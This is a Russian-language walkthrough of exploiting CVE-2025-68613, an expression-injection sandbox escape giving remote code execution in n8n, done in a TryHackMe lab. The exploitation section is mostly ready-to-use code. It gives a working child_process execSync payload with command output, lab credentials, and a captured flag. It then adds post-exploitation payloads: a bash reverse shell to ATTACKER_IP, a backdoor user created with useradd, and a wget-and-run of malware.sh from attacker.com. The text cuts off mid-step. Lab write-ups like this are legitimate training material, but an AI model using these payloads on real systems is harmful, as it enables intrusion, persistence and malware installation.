
# Пошаговое руководство по эксплуатации CVE-2025-68613 — критическая RCE в n8n workflow automation Охватывает внедрение выражений, обход песочницы, разработку полезной нагрузки и стратегии обнаружения через лабораторию TryHackMe.
В этом репозитории задокументирована практическая эксплуатация CVE-2025-68613 (CVSS 9.9) — критической уязвимости удалённого выполнения кода (RCE), затрагивающей платформу автоматизации рабочих процессов n8n (версии с 0.211.0 по 1.120.3).
Эксплуатация выполнена этично, в контролируемой лабораторной среде TryHackMe, исключительно в образовательных целях.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-68613 |
| Оценка CVSS | 9.9 (критическая) |
| Опубликовано | 19 декабря 2025 г. |
| Затронутый продукт | Платформа автоматизации рабочих процессов n8n |
| Тип уязвимости | Инъекция выражений → Побег из песочницы → RCE |
| Вектор атаки | Аутентифицированный пользователь (по умолчанию) |
| Исправленные версии | 1.120.4, 1.121.1, 1.122.0+ |
| Затронутые версии | 0.211.0 – 1.120.3 |
n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям визуально связывать приложения и сервисы для автоматизации задач. Она включает:
{{ }}, выполняются как JavaScriptУязвимость находится в системе вычисления выражений рабочих процессов n8n. Когда аутентифицированные пользователи настраивают рабочие процессы, их ввод обрабатывается как JavaScript-код без надлежащей изоляции в песочнице.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }}, выполняются как «сырой» JavaScript без должной изоляции контекстаthis позволяет обойти ограничения песочницыprocess.mainModule.require() предоставляет доступ к модульной системе Node.jschild_process для выполнения системных команд(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Пояснение:
this → глобальный объект Node.jsthis.process → объект процесса Node.jsprocess.mainModule → корневой модуль приложения n8n.require('child_process') → загрузка модуля выполнения системных команд.execSync('COMMAND') → синхронное выполнение shell-команды.toString() → преобразование вывода Buffer в читаемую строкуПолучите доступ к уязвимому экземпляру n8n и войдите в систему с действующими учётными данными.
Учётные данные лаборатории:
[email protected]Try12345!
После входа отображается интерфейс создания рабочего процесса. Нажмите «Start from scratch» («Начать с нуля»), чтобы создать новый рабочий процесс.

Нажмите «Add first step» («Добавить первый шаг») и найдите «Manual Trigger» («Ручной триггер»). Этот узел служит точкой входа для выполнения рабочего процесса.

Назначение: узел Manual Trigger позволяет запускать рабочий процесс вручную с помощью кнопки «Execute workflow» («Выполнить рабочий процесс») в интерфейсе, что делает его идеальным для тестирования.
Добавьте узел «Edit Fields» («Редактировать поля»), чтобы выполнить сопоставление полей. Именно здесь эксплуатируется уязвимость.

Шаги настройки:
Внедрите payload для выполнения команды id и получения информации о пользователе и привилегиях.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Результат:
uid=1000(node) gid=1000(node) groups=1000(node)

Полученная информация:
Измените payload для выполнения команды ls и вывода содержимого каталога.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Вывод показывает:
flag.txtПрочитайте файл с флагом с помощью команды cat, чтобы завершить эксплуатацию.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Полученный флаг:
THM{n8n_exposed_workflow}

Установите интерактивный доступ к shell для постоянного контроля:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Добавьте нового системного пользователя для постоянного доступа:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Загрузите и выполните удалённый код:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Проверьте привилегии sudo: